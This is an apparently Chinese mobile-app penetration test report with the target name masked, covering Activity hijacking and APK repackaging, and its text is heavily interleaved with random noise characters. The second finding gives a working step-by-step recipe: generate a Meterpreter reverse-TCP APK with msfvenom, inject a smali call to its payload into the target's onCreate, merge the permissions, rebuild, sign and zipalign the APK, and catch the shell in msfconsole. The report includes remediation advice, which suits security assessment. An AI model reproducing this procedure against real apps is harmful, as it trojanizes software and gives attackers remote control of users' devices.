$ Y& ~5 v4 v+ [! f: X4 w& A2 c* `
3 g: v( q% p+ t+ t. Z# K
0 H# s8 ~2 H4 [3 X8 P
9 H& H) C+ B& {9 T- N# L& }: q; ?! \0 q7 M) v9 s2 |
2 T$ N3 m( N( L- s% l) s! X* o# S/ @; M `
- G9 s1 L$ Z+ A+ D+ q/ V
7 m+ u% V, F; z & G5 `1 Z$ `; a. w$ J1 d: U
7 O7 n6 y8 W* Z% \! _# F 表1-2 测试结果
4 }; F' z* A8 e) w5 i( L. @3 g8 z& d, J" C) v$ g Z$ w
8 i7 s; g, e8 F9 J
4 m! ~; \) F Y' p' G 5 `% @5 X* H4 W: f) Y& Y) E
, ^2 f( S$ m$ B0 ~: `
U7 R {$ r7 m' E/ @9 n O' D6 Q6 I
8 K A" l$ I: d) f# N1 |
! }5 P+ N2 d* w) e+ E7 H/ a4 q- M# i, V4 O- g8 l- y3 E! ?0 Q
, Q+ b- E5 b5 O& T' K2 W8 ]0 m; x1 x
. w6 }* d8 C# C8 }; h R- I F9 _; \ 2 检测结果
9 S$ a ~- u3 A+ x; ?' F' m0 v
' {! m: L7 x3 f+ h9 H, M
4 W/ |$ E# C- P$ I' ]8 F: \
1 \7 z& y1 {3 C: U5 \9 _& W+ n
5 g( M8 c* u* [( h
0 q* G4 j7 W$ ] 2.1 某某某
# `- _& A9 @* N3 R# y8 t
" k* v% x, v7 m3 P
) H8 i6 {: t2 f/ X5 T' W) J, H
% S1 e% g4 T% o! k$ ~) J$ ~) J" \
4 m8 a: \+ a1 @* i
- G# K' n& g" T8 n5 r
2.1.1检测目标
A) A. F3 L( s+ R5 Y/ _6 ~4 L6 s7 a4 |7 n4 h' {
- C q7 r0 m9 F# n
a( I8 \. C$ u9 i1 n* O% o" w
3 T1 ]1 c& _2 `& T5 m: [
$ [4 W+ H& a, ~2 z7 c 目标地址: 某某某某某某APP ; S" D1 b f' _$ B8 {. Z* W* g
$ C, z: o: {' b2 Y
* O) }2 Q; g5 S8 @
. i5 R6 T6 `( i/ _" ^& t
- Z% n a: E; a% w" p. ^* `
7 `& @0 Q6 n8 p `* J/ w0 U: s 2.1.2检测结果 - A% i @; O$ D) p( d
/ |; E5 Z( w4 j3 k& c' B9 `7 r
: `: x g+ j; i6 J+ T c
5 W8 ^3 T+ a7 ]0 U4 }, v! b' ?( ^
( d' j }/ G4 o; d8 f! p9 B% b
6 H; m% f/ v, d' ]) q* i+ y 2.1.2.1 , a$ o q5 M. s* P
. p0 v4 s4 d; F2 d
, l/ C5 l0 K1 B: y; `
3 b6 L" @5 z# m1 X 7 K. V3 C/ k/ m- B6 z" `
, V4 I1 E9 o6 _ S- l
漏洞链接地址:某某某某某某APP ! m8 ?. S' C! k6 m* m6 V
6 O, {# G# {( b8 s3 {
5 F. e e5 T; o9 P& S6 _, t4 E$ K
$ f, i0 K+ {' c C5 B* U+ N
. Z5 K0 \2 H! f7 {3 g1 G6 I% U$ t5 G; l) I
8 \' Y4 e( u- u7 N
# |4 j: d* n! ^7 R4 J- c3 \6 g5 g
1 Q5 @! |2 o3 h* w( G
9 ^4 D) S1 L* p$ C1 W: `9 p0 A% i
2 _1 b6 r( X2 Z5 b* a y9 [6 q0 W J6 E# U; S
漏洞分析及取证: : q+ J8 i3 H# T; p! Y
+ B. [2 X' b/ ^- P6 I& U8 ]8 h. H
& `$ G4 F% J$ ~) \. v9 R
3 p' I9 g0 C* E- U
* |2 z3 {# y* N, h: z- E
0 ?/ L& u9 n( B g0 }8 H0 q 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
; S: ?: \2 E- d: n" l3 Y
0 r. S1 @7 `" N& b* A) V' a; s
7 v/ e8 R( T1 q$ N* _1 U" b& G7 c/ z
0 r2 A- Y8 `! u0 J% k8 h
; U0 @( c# k) _2 F, w- S
! h! |( l9 h- F0 ~
, \0 E0 e$ W4 u( ~5 p5 C3 V, Y- _6 L3 y
# t3 @5 Y$ {) k1 ~8 E
) ?, l4 O6 c6 V 1 j* s- K6 N0 X% N
' S4 s8 j' N2 }! Q8 ?2 ^
! f+ t- C; |4 L5 j2 c0 \- L, E! O! j, Q" i2 C2 \( H
8 O n$ p' A' L1 k" Y% R8 u. \
# e W1 ~0 X. ~% U 3 o) X$ e4 R) O; W
( }+ s3 ~! D( C2 \+ ? O. g* @
* T* n7 l: W3 B4 s
- B' R, p! f8 m7 u: W
- n- s5 {6 { b
8 G4 n' r* }# w& S* F! O
: T" l' d0 B" w' X* ?7 H
" ~. Z$ l( c2 Q9 z$ Q
* r) V: A# i P) t$ O v) g* u$ {6 O4 J' @$ Z! F' [7 k6 M
5 `1 w$ r2 ]. r4 S: j$ k( d
2 ]! W0 b' e4 S2 v( P 1 q, B e& i" a/ t+ N: W0 v: f
5 K" y7 e, M( d; K: H) Q; R' i
# n7 }0 F0 T* C G j3 C* T
) w, p! l6 L$ P6 u. |/ k
/ T" Q, B) U" q9 m" j# v# W8 T* j+ w
# o- o+ v( j$ F# |1 _
0 w2 Q6 c6 w M; j
漏洞危害:高 ' H6 c: _* e0 `8 G% Y& i' Z
0 ?2 |# X$ }. s% `. W# w0 ?7 y
- e$ m0 Q( j) p$ I# g. Z
2 J! T- e: e" W! N4 s: { 9 h- U' E$ x" E; `& o% f( e3 q- {
8 f+ ~7 E( l3 v2 `
' K4 X4 s- O5 x
! }# g: j; t" m4 D( d3 Q; q1 ` 2 |/ b O6 j: g8 @5 b
; e- V% h# m1 k3 H1 e4 u # ]. |" f* Q8 R8 p# y9 Q
/ Y9 M4 t5 F& d9 M) a ( a! }% x: v. z
7 T9 e' y( V9 b: x8 N- Q8 [5 E6 D# h2 u
6 E$ n) j' K: I z2 u
& h5 @* I4 H; U( F2 v: @: j9 } 严重程度
" E4 g* U1 o8 X! c- r- ^& f" M8 X) v
, \- O3 t- q) }6 F3 W
( @% c; D( o% H2 i0 Q
|
; m: B7 x3 ~' S( v
5 D8 p* K5 ^) r, \: M+ h& C + Z% W5 Y s) D1 g+ Q1 ^* i
% [" J2 S7 ^3 N' y/ g4 o1 V 6 B) A6 N6 l0 ^0 s/ X3 C
( B/ d( q5 c% `/ M 高 9 `* @% Z: e/ E" O( @; g
N0 \0 s' k- n ( Y' v% k( F2 J' ?! q) G
& g. J$ H$ j7 @( x C, t {8 r/ [ | . i/ U8 l5 A, Z' H# y8 K
. a/ h" b7 f3 e/ I - \- v, B6 K1 k, n1 ~% D8 X% K
5 v& j' H, c& J) O( t; ^ - ~9 b6 O/ f/ `7 h
7 ]& F8 ~4 b2 \+ d ■
) d- Z/ s; @! V) T9 P& K
/ ~2 N$ o: D6 H- ^0 g* V- K 9 K+ {3 l1 _4 G4 v+ C
. w7 ^, F9 f8 q$ Y) c( e' P4 u |
| : W4 g2 a* l. |# W, n
3 V, e( V0 d% `1 c; O
8 G4 f. J" l) q. g* w# Z [( ~; l' b/ T; S% N
: ~2 g8 G4 G4 F# `: y( u
M# U, R* C3 Y, [6 l2 C+ ]
中
2 v; p$ p! x) J1 i/ ?: }. N* l9 p0 m+ K4 ?3 d
1 R+ [3 X4 {1 e; S8 {
}, A- Y3 Y' I5 Q: a; B0 c2 c6 E8 F | e) C1 K- I5 O8 a
8 @; \) j9 f$ w8 p, F, x / j, F) y; v. j2 R X, b8 H
3 w8 D5 F: X# p5 B6 V
' `$ H9 k: b1 q7 k5 k1 n
+ c2 l3 f8 B7 u; f
2 e, ^8 u& Q/ j; f- t% i2 p: g. L) a- t: M- N" w, c" G( |
7 ~. B7 [9 R, m: \; e6 z
5 o' I) P% X7 J M$ P
| " M8 C2 J0 R" G# i$ u
2 t# b& h$ u/ E, Q# P* g9 A$ b V6 h1 i4 L: }3 i( U+ T
9 F0 f. c/ j9 e
$ k* l) I& \" {' S* u& m, O
$ l' _1 M" q# Z K4 ^ 低
1 J4 x! H# a C6 B `0 l+ s
9 Z! f7 P- E) }
) G! U& f- r: N3 l h" k [2 I- t! x! T& v: h7 m
|
( Y4 H9 l# T2 R& s6 x6 Y. ]! o+ [ I/ p2 q, @+ L; w$ r. \& n7 L% N/ [
_" O4 z e& h" _
* k8 c- _4 v5 ] % {/ X! c5 D& `$ Q* T! X% x6 K
# x/ t1 P4 B6 c2 C4 f5 E
7 `/ B" `0 R$ F3 c/ E7 l" Z
# r+ M/ {- e4 J( v
. X) E1 t- A8 P8 Z" J6 |& \9 Q3 t z
6 t P0 e3 h* J |
" E5 c7 }6 v: |. p% L
' S. P! S `2 g
6 A3 J8 v- o0 `1 S4 C1 s9 G
) M2 m4 D y- N x , L1 ?1 Z: v) H% }7 k& M
8 D z/ N B N7 E L
+ z6 `( z8 g. O
9 ~5 h0 c& d5 ^5 G' Q* s
( W. x" P+ `: z* _0 L7 _6 S7 g( r1 f2 v1 U$ j4 [3 z! B$ ?
) L8 v: _4 h- F+ T) J% m& K X" ^9 H& Q& b! L9 e
" F0 ^ T7 T7 v' w
* T. f& p8 G6 s! \
8 n/ j: y/ X8 q
9 A) \4 \ G; i# A0 T9 r5 s
& @+ v, `1 M: g$ P( v( K
0 _0 h& V) Z: \4 ~- k9 W, r
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 " D' q* _- q: @1 @
" y1 ~* ], \6 Y- x
& Z/ D0 [; c! x' m) @& |9 n4 q5 o' X/ Z- _ [" Z
3 u n) x6 C2 O2 `! E+ H, L/ |
; L* i0 n6 I7 ~- `" F
0 B2 I' I% |" i" i
+ ^! B. Y% i1 ]& P- D
' ^: Z! Z( x W& s! R5 @3 W
0 f5 e- U* R) g1 ~7 j; @& P + T9 b- v4 {; x2 }/ D9 M
) z# H6 w2 s) L& X
0 c2 i- @0 d, j6 p3 Y) Y' Z) x
9 f0 [) M7 X0 b$ M6 ~+ u" C
. ^! H1 v: V( d+ {0 w$ d0 H
# Z1 {* n/ e7 ?
; G2 q+ F8 M. U; O- u
1 p( k+ r: \$ {" h1 T3 g' q& q 2.1.2.2
- e( q7 h$ T, ~) \* X- d. U8 ` I/ u# C! q6 M! X- U
- \. w: V6 T$ e8 C# a8 X4 K
4 o1 ]: P4 q, B. ^: I8 } * M9 Q5 W# S+ w3 g4 |# c3 L) g
1 M4 M- x0 Z' ~. |) z5 x
漏洞链接地址:某某某某某某APP : T6 y# v8 ~+ U a
2 S# T% u* Q; H2 f( [+ Z
4 z& z3 \6 x" g' O
! h7 A; u( G$ p8 L, S1 N u
/ d( b5 o# |8 N: U2 p9 X5 ^- z' T6 R+ E, K" `
漏洞分析及取证:
5 @+ v: @3 b! o3 R Y+ G
! C" x" U9 Y% R: D: M
# K3 [3 f! y' x' D: P
5 b! Y. r9 G! [) u6 e" N
: v% d h4 l" B1 L; a; i) y4 C) D6 ^
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 0 S& G$ @! o% e* I/ H" A# o! R
/ Q. s& ~8 Q( _+ n+ M" m6 r
$ Q1 Q( q/ r& F) T
- ?" n8 U/ E9 I 9 O# Z& z- E( ~& m7 t) C& K
8 g5 O/ T! J# L$ i8 D+ Y
用Metasploit 生成木马 apk 8 |( j( u3 p8 u5 r# _
3 H8 G. r O( H G5 p) C3 A9 t
. c+ Q0 ^% c* n( J
2 m3 }2 U4 a. T! L
f p2 Y p) D% i6 Z. d; a$ e
% }, c1 ~; C! z2 m msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 5 t% `8 u- U$ N( A1 r4 x
4 h) v: m' m! Z+ G
3 s# G" b# H+ k) Q% |5 C
( q2 t" j! c+ K6 P/ X$ k
: n' G. A/ X: u5 Z$ ~ ^" m" B2 Q4 R- j; [; K d9 ?
反编译目标apk和木马apk 3 B% N3 W/ q9 {2 l' g' ^5 `
6 }. e5 t8 a% H
; n8 `- L5 y: V, [0 g1 w, P: d3 w% x5 |$ N }6 C j
' O) q/ I- a+ e8 @
9 a, R p/ \* j7 b0 k apktool d target.apk
( @3 v8 F" L* `- r& e! {
+ _2 R* k4 _, Y- r- V- [3 A apktool d cockhorse.apk
& o$ Z# t2 X3 C; l8 m# H1 }) T; O
3 O7 [, m# b. A1 G# o: I( M
) ~/ g) @2 I* {0 r8 a% `( U( u& L5 Z
) e- P0 U% Z, i; T# X6 C
( Q3 W7 m% U3 d/ x2 }- T
8 a) T2 c, M: Z9 Z1 A 木马 apk 注入目标 apk
& A3 W3 }+ D6 K7 P: i- v, {
: s' Y$ F+ m& s, _& E
" f O% q- s2 B% Q, t3 f9 {6 y, S5 B3 q
# _) q1 P' f$ i% P
! z6 u- p. ~+ I/ i 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
& P* E" z+ ?& [9 D0 g7 h
# h% Y6 l, i' W& b/ e N& h invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
. u) R' d6 _) d8 w+ Y2 e0 X; c V
5 m. c0 t6 C3 |5 t' u
: i% @5 |/ J2 L* Y9 w2 i1 e* e
' \3 t$ S5 A$ Z' B% G5 M# i* d
$ r( j7 K/ W6 M$ F2 S2 ~
9 r8 J9 L: b+ a5 R2 ]
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 . [9 B4 n; s2 t. y+ I4 e9 t
4 H5 k% J' K% Y
: Z4 D6 t- ~, v9 a
1 A& N2 z1 c2 ? t# z
. Z: o( I6 ?8 g/ F' u9 Z1 J- K" m( @- b( O+ A! F" U2 i3 B
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 # Z- O) }/ {8 h% t( ?' Y9 A
( t- F1 }4 l' }2 x
7 X6 L& ^1 a3 `9 y- |* |5 q
3 q4 K5 Z* C& X7 n$ ]
& u5 H5 _; ^- T, M, z" v i9 S( V; E2 k1 n% c8 |+ ~
回编译生成最终 apk 0 @- i9 W% L; w8 m8 F
- u! V6 Y+ _1 b9 j: y3 X0 |
& X7 w O) r$ b* M+ L- E
- o* ?2 f# _: c6 j. @! m
3 z, c' K6 O+ I$ Y1 ~* K0 }0 S4 i" Z) b. ^! T/ o7 S
重新打包 ) D* ?% p0 {& r* h+ f" C3 G( A
+ I/ B' r9 X6 [0 |
0 S& a j' i$ H7 V4 r" N
+ J3 l3 |6 M& D% I' p, U7 N
1 j2 M# l" }7 D' o- ?9 S( o
2 O3 U* X1 N9 k/ P apktool b -o repackage.apk target_app_floder 8 U9 h6 J8 |& d6 G4 n! ~
0 t% E1 i' C( O$ g& q4 W
" I( R4 ^7 Y1 I0 a- Y8 i1 e! y
r6 j9 n6 B1 [' X4 J3 e
, Z5 Z3 R2 x! }+ Y$ }
9 W; E6 L2 J& Q- o b4 E 创建签名文件,有的话可忽略此步骤
8 C# V( H, n) I4 O2 d) S/ M0 K4 l' R$ Q7 N
& |1 ^# ~( b3 l; e0 P0 c0 D
8 V+ j% k9 l3 E a' L, w% I' C% v' ^0 \
( @8 h% a" X" s8 ^! y2 U0 q/ k5 Z
A" _/ \' W. v4 k% [ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
, W- Z8 W1 ]/ o; \/ m
; F* s/ F) D4 [% H6 z
5 J9 H7 f% f: w& ?& v Q2 G9 w7 _3 Q1 L1 Y8 Z% p' w
" A5 X: \- P, x$ m8 ?& j. Z: }
, p% d( B6 J0 ~* z$ E5 Y. }; O 签名,以下任选其一 4 s3 b& i! M& ]& _ k3 f
% f& a5 b, \- o, U) D( P9 p
- a, S C' U$ Y' w5 V( Y# ~/ e8 c; [
. f, x5 i9 J" Y
. a, z; U5 O% ~
jarsigner 方式 ! S) p$ K2 P8 _2 m4 ?3 _3 H( j
0 y' e* Y7 t) y! i; Q) A$ b9 |; j
( V( |5 U1 Q8 p/ v" r& `
; ~$ i% o* g. ^# w
9 r3 Y/ G* h I8 F- q# I
b+ m) l- @ t& b jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ; m6 E; P& W9 u7 ]& e
! x7 h8 ?' N2 a9 @* ~9 w
: g; }" y$ |+ k3 B1 d
Q4 U" v; Q* p6 T% w3 [4 K- ^
7 }' h0 y6 D0 X7 k4 E3 k7 w7 ?7 I" E0 b- G0 T( x, Z
apksigner 方式 $ |) Z5 f2 p8 g' M+ V! R
) c7 g5 n. \* t' {+ G2 }# D
7 O D3 e) |- J1 C* P* H" G6 h2 W, y
# c- U% ]) v c5 N: H4 h4 k
% t2 R% k5 c8 @& B$ i* G: l apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 7 F, P2 R) f y; d+ l
0 D9 t7 I/ T) d0 [/ p
Y& G2 P4 \8 V2 x2 m
. i- x& S, r" W4 {
9 t$ {+ q }: k; P) \# c
) ^4 J- v. s( z( ?2 N 如需要禁用 v2签名 添加选项--v2-signing-enabled false
$ O1 E% y5 m o/ h' W0 a3 ~+ G3 H7 L% x, h1 G# _2 U: u0 r3 W* k
4 z z6 Q4 I6 i+ g/ k ] V
* R) k( M0 H% b& _ / D# ]- [6 w* V- Q) i0 \
* R8 F$ b: T2 Y' z 验证,以下任选其一 , W' n, i+ g4 m6 i
3 T+ W) E' @; _- z+ ]& f
6 K/ a& K- V' I6 H
6 r: T: a7 s8 K- X& w7 I 4 V! I3 D+ i% G- D. k. A
5 d/ d% n/ |+ t& z jarsigner方式
! Z- D$ H: t3 w; q" l& e5 H. U, T; o. Y# J+ I2 B; e
' s7 R/ t4 ]9 ^; j8 L3 Q& s: a# o, ~6 U& u# a! u3 Z A4 i
7 n. c7 {' b5 Z: j
4 D, b2 _( n* d1 b) x0 l/ V: U- E jarsigner -verify repackaged.apk S: z3 S! Q/ i! f
! @. H' ?7 d# w+ I, k4 p1 s/ T
9 y+ }+ M! j) D6 T* y& m' d6 f7 k% @
# v8 x$ f1 n2 I# V& M' g2 S v5 S Z/ j2 r. q/ E& t8 S
apksigner 方式
* z; f0 y9 l3 I' Q* _$ A. f* O8 W2 ?1 g$ [2 U8 A& }
* |' F5 F4 u% ~( w- |3 n* ^/ E1 \4 H
; j- {' q* r- W- s5 b1 q
3 s' m* U+ r* g2 a) R- F
apksigner verify -v --print-certs repackaged.apk 7 w4 @0 t9 O% J( F S
! L$ k! H" V' \! O0 X- G( x# \
9 f+ S# ^1 X3 f* u# h- _# w. I. e: E
9 p; r* M1 M( a+ ] ^
' \$ ?0 [7 G \" z) r( U keytool方式 1 Z! G0 S ]9 W
7 ^! }- X4 h. h+ `: S' t
2 X2 \% O+ @3 C# ?9 N
5 k- U4 r1 B1 A
; A% X- \" f. s3 O P. E8 B3 W7 M. X6 e2 t4 Y; B( m* L8 g' ]' o) l* C
keytool -printcert -jarfile repackaged.apk
8 W; H5 U& N0 \ ]3 W& i/ T- L O' r# | L) H
+ W7 `7 z* h; w3 _5 r' F+ @0 B9 ]1 I+ G
& I* q$ U- c( k6 A; P4 c, ^6 r
$ D" c8 u4 }5 o: u/ z 对齐 5 E% L) P4 P5 r1 e4 i% g3 H5 q
3 t& l$ h! D# ?
" K( C3 u2 D. y6 A" r+ {7 B- p
# S5 R0 n# {, ^# \/ w4 m
$ ]. u0 h& y( ~7 x: Y$ d8 E6 X* @6 w1 |5 R2 M8 H
字节对齐优化
+ ?- F+ h1 K+ K1 `, x! \% i% t8 P: U2 }" c9 s' e- l* m
" B3 G& T! x0 N' r
' Q! Q5 Y- R8 ?4 ?. ]+ ]! g; s
* t) `' g$ _" p+ J
, L( q6 {1 T, Y; F2 ]0 a, g6 E$ r zipalign -v 4 repackaged.apk final.apk % W4 t: L8 f6 c" K! n5 Y/ B
: U' [9 l& Q* v- ~
. E4 [! Q4 V5 [. _" }" ~! {% \+ Y. ^* q& [8 z+ i( k+ q
/ K# G ~/ s. S( u* t. T/ s
; ~3 [' E# t* c% [5 Z4 b& A 检查是否对齐 " G7 [ J( S0 s, D% H9 ]
0 j1 A- m$ c6 }4 X
& \+ ^# M2 }. A% b# o: j: _$ j3 M
( ~% {) y% h' u, d2 J: ^* g0 `: {
: H- u3 t V! X/ b. I/ {* _" I: z
zipalign -c -v 4 final.apk
1 J) N* L$ V5 }4 F7 ~" s: O
7 X9 l: P( ?, k8 }1 M- d
/ R$ p3 W) \# e2 T
) \9 _+ x/ B2 k5 B; C* |) s u
+ r+ B+ _1 ]. v- H1 p
, H( m5 C- t- Z- w) p
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 + O! z" p6 y- A* d
9 ^4 t4 s. s- f0 [5 R7 c: ?6 s0 V
3 u. u/ Y: j. ~ Z. i: \- R, C
* b! t" Z( r- T# F5 P6 D" e
$ v( z6 |2 S1 G$ \4 S
3 ^& q: O/ Y+ u' a0 Q7 _( I+ [ 启动Metasploit控制台,配置参数等待上线
9 H4 u" a& P- J: ?0 x" W$ Y* m3 [% n$ a
: V4 k7 d% @( z# @" h/ Q" S8 W
! o7 ~: j: U8 V( R4 e* W 1 K+ D3 E! D% @
% m! V* v0 N/ z, g4 i5 ~2 ~ 在终端依次输入如下命令 / g; ^: p9 Y! R' ]! T) s/ U T; H
' `$ s" _8 Z5 M6 d: [
_+ V- D3 _7 e ]8 o9 x, @5 ?& {. _+ P" }- O% o7 V1 P; ^
# P: u* l4 n# _( W* k& Y
- R+ j! d( N( m msfconsole
+ g& k% p3 ]. \% A" u7 B5 E$ W( u" Q0 i7 R
& c* `) v( I9 k! k9 b
- ?) F6 P1 @( ?2 ^ [
; [8 \9 b2 Y: i
3 d' n- | d" R9 w use exploit/multi/handler
}, Q% ~* {8 |) q
% _: n0 F+ E% |' I4 R
" r; b# `. U9 H( M3 `
' t8 T3 z% \0 U6 a2 P
* ?" a7 `# P3 [7 V; Y% ?( T
# V- A% _- c) T" m+ k( z3 ~' D set PAYLOAD android/meterpreter/reverse_tcp ( M; B, G$ W: m7 f, e$ O
% M n" S, n3 {3 d4 I6 \
, z6 ?& W5 Z2 Y" u/ Z( d# B! V& F
& M0 T/ d+ L6 E0 K 0 s. e: Y* M+ x$ r3 K7 P+ B
4 @! X3 y- I9 Z- U, R2 I
set LHOST 192.xxx.xx.xx
% \/ R8 G4 R7 A
) G* I& {+ A1 I5 @' z
5 _" s7 t n$ H7 S" c" R+ z% U. o/ P. u& s6 A4 E" b6 m K
|: J' \& B' r+ O' D6 t: c/ G7 q, v+ k- d
set LPORT 4444
9 |5 a7 i" H0 M' ?! N* d
5 d* N6 s* n' z. y* w6 u
3 q, o' G4 R, O$ o% e
1 p4 t3 V+ J& F: u. x' q; u
8 a2 }3 }* ~" E/ |4 B6 ~- ]! T4 Y( t8 D3 u: A# i6 e3 {
exploit
, G4 a! C+ B. b( ]; a
; Z R7 x; |& _7 x! y- G- K
% ~) I6 R' O. F3 v4 H! D) E4 V G: g
+ {/ \: U$ i$ R, D' f# H+ G
$ V: T/ H1 @. I. V' M, S
" _$ O; |) L5 D% X 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
* S [- M6 v+ C' S4 S4 y( J! Z( K/ h
: X% J" {' w; D9 f1 }
9 Y4 q9 s( i( J6 Q. w
% s8 S' F; H4 U& i! c3 h 5 E. w* F: Y4 W, u1 N7 a
5 V2 n2 e9 I9 K& r9 e h/ G. Y; c+ q
漏洞危害:中
# n# h+ n3 W& e
+ H% X$ }3 f5 @! A; A9 w3 Q$ O
' ]# k3 Y& f4 O
& z; E) F* x! `9 w
7 V. U$ p/ G* R6 [- G7 R) u; ~; q" F& e+ J$ y
; @" t9 j4 g$ W0 C5 _
8 b; r$ ~- K/ w# b& X V: X 5 T4 @9 r" z! D6 H1 t( l' w
; U$ o3 V( M" S, G3 H 2 f4 W! f, l5 q/ K
( X" p$ F0 l: f
% ]9 d8 [& x* t0 H3 i, b7 v' \) l9 Z% n# V
: z5 @: z( F* p
: d* {3 I( d5 @9 N! L * v2 I/ X* Y( s6 I1 _
" O# U% G6 {9 z! j$ g' r 严重程度 1 i% H$ z9 o5 y1 A: g F D
. |6 F3 a- p% F) q$ s6 `2 U
+ j3 M; R1 s5 |1 u& g; v$ f
" [2 Q3 M; p. ~* g | % L$ n$ f& k1 q% ?+ n3 d5 N$ }& D
* D* w$ G9 u/ Z$ p) W
+ {/ A$ |5 z$ p9 ]2 ^
2 E3 C8 m) o3 n 3 x8 \. ~( b9 r0 }# o7 d1 }
# p5 f1 D7 G0 A0 r9 h5 y
高 ' R) q8 y- s3 a) _+ x5 U# ^
# _, _: j) r* x* D - m* k& i& z7 a; e$ D# b
, a' H( e8 Q2 y# m
| ' z' n- j( r5 T+ ?) W
+ x. T) k' z! N% l4 I5 ?; T
6 E% f) \, x% C7 y! e4 J0 r8 E' r" D* E
0 J# H) W. I) {6 X( k3 n$ {# D7 ]
$ n% D3 J) s9 V ■ ; p) l$ U, O5 G0 h5 }5 M
5 @# u& s% k: z H
5 f; d! p& u- i5 m% S& m1 @. ^$ r" V' j: C) N4 S
| % u- d) @5 e' b0 Q) Q, U+ i/ w
: f% B$ x8 [+ E2 M9 p$ D
0 P5 M# }3 X/ }2 `1 n* h! @& f) e+ }, D; o+ Q
" A& U3 ?& |3 R; }4 V0 B3 E
) e5 c% `; U& `. A) b' F 中 " U6 D8 j; ^. N; W! C" T
1 f$ [! n( _4 q/ h- G/ P
% c! C; B7 v N# m$ e; E R0 u1 H
) Z% P9 Q6 Z) c& P g
| / p' M% ~& w/ I* D( u) z
6 D5 C. E, q4 D* k1 ?
1 h# u, u9 p0 Y3 l6 p6 G7 D
) k l' G, G8 |& g2 p$ y( j* U
# p3 N1 M8 V* V- w3 q) w
6 { i( f! X( ]; ?$ ?7 D ( R" e! T- D. W3 R% \' ^& m: b g
% a$ H8 D6 e& E* \& Y/ W. E8 t 5 b, z* c, G$ W; o
& d t% Y. ?( o$ D0 u5 R" L
0 [; A' S2 h3 J5 [8 W% ~
( b$ @/ J3 E! p3 i# L
|
0 m% D! e' |: ~+ D1 [2 [7 R" a. k" s. a. `7 C
7 _ ?0 K" j2 D, F
H* r* V+ r; @$ t0 Y
$ n: R, Y* d, Q7 K l9 W% f; o* F v" _
低
/ h* e* _$ ^, _( w% L' N z2 ?2 ]% I- I
& @/ `/ q1 B" N( O
3 m( I" g1 r0 j( L) y0 q
|
$ n0 [- [/ y3 n1 S5 x' T; R9 o4 Y7 @4 |& J1 @! d9 n
4 w$ A: S9 j; b8 d- y
+ b2 U/ j" T; p ' g4 g) }& M, f" [8 A5 l0 w
^& {) j2 b/ N- v" r* G% P
( u9 G" M& N1 @
( Y) G2 H8 b" O7 s( }
2 a5 K# N6 I7 F2 U
4 {4 B2 B. X$ u
6 y+ l" d" a4 p) n% x$ j! e/ k; z# `
| 6 h8 G5 M, n& D2 A; [8 ~5 k
( H8 c) B7 g7 G1 K1 \
$ x* j$ G R4 w. ~* t" l" o k2 F8 n+ Y3 N. }$ H' E
! D+ w7 O# [+ j) M, U# e
1 A1 S0 s2 R [& q
* @4 }9 U6 P+ U- v1 O) m, u
& F0 {* D4 `: F+ r N5 D$ Z3 ]
+ d9 O; K x% h8 Z* T4 p3 U& p2 l1 X: b3 p4 W
9 a2 Q5 ~5 a4 H& p4 U2 \( K' k% [. a5 k/ Z3 i
. ?+ r' K9 \' g1 _5 F2 ]
3 @/ b$ b- f6 ~, S
! D" J$ @: {6 N: z& a
0 `" L9 {/ u2 v' O2 h4 @7 [2 M# r ( w; y: }7 Q B2 A+ i
7 y: u* N* D- k, R) R. s
修复方法:
+ |: }2 w& J8 W8 Y' y8 [7 J: `. P# C" j8 e$ c( O( Q
( D+ y- Y3 ~' [ L; G$ b1 I/ i
$ S" W7 s9 M- L1 f; C S* f# {8 a
w1 V, j& p- b4 d G3 T% z& J3 ?( f. Y& r
1.在 APP 启动时应做签名校验防止二次打包。
$ m& e) b' l! K0 C
1 r" f5 k/ t' l* v
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 5 N! Q+ } b; e- \
5 S& L s9 g x% c
T- c, Q) X3 M& W- t5 z" h3 W7 D# f
5 T2 q; s: g; a) P' c' a S
6 a/ L; M: _& ]+ Q* R: ]& S- h* h1 y& m/ r* p
% P2 [ B! B* R5 F+ x3 b, V& ^! |
N- z6 ]- _" }- _, }6 j # k# W* D" u* {# q
; {7 {( g- X! u) @2 q" u2 ~/ I
$ ?- {4 m) r9 h4 T k# `* p
" p" W, ^, j; }% y0 d/ f7 `
1 y! z) g) G: `$ c V- B
4 R6 b- `# v6 y; L! F" H8 Q ' t$ b% L: W# v' G6 k" U5 z, v; U
: ]; N# [% d# |# Z/ T
* g" Q; X( I1 @: k a V
- q, b9 F( S1 j4 u6 @% a9 r
3 m I) B# M* N
# z. y4 Q9 N- S$ e6 I( b# B* F9 t